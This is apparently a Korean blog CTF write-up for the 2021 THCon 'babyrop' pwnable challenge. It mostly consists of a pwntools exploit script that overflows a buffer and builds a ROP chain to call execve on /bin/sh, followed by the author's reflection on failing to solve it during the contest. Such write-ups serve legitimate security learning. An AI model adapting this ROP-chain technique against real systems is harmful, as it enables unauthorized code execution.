2021 THE CTF

728x90
from pwn import *

#p = remote('remote1.thcon.party', 10900)
p = process('./babyrop')
e = ELF('./babyrop')
libc = e.libc
bss = e.bss() + 0x100

pop_rdi = 0x4012c3
pop_rsi_r15 = 0x4012c1
binsh = 0x40201a # 이부분은 string에 보면 /bin/sh 문자열이 있고, 문자열시작 부터 /bin/sh까지 바이트를 더해주면됨
#gdb.attach(p)
secret = 0x4011f3
payload = ''
payload += "A"*0x20
payload += "B"*8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi_r15)
payload += p64(0)*2
payload += p64(secret) # secret함수 안에 있는 execve 호출 어셈 코드

p.sendlineafter('name ?\n', payload)

p.interactive()
~                        

PWNABLE

babyrop

실제로 풀다가 도저히 벡터를 못찾아서 못푼 문제

rop에 필요한 가젯은 모두 찾았으나 binsh와 execve를 잘 활용하지 못해서 풀지 못함..

+ 항상 코드를 잘 보자..

 

728x90

'Pwnable' 카테고리의 다른 글

2018 아주대 사이버보안학과 ctf - babyuaf  (0) 2021.07.25
redpwnCTF 2021 - simultaneity write-up  (0) 2021.07.14
2021 HSCTF8  (0) 2021.06.19
2021 BCACTF 2.0  (0) 2021.06.12
2021 Circle City Con CTF  (0) 2021.06.12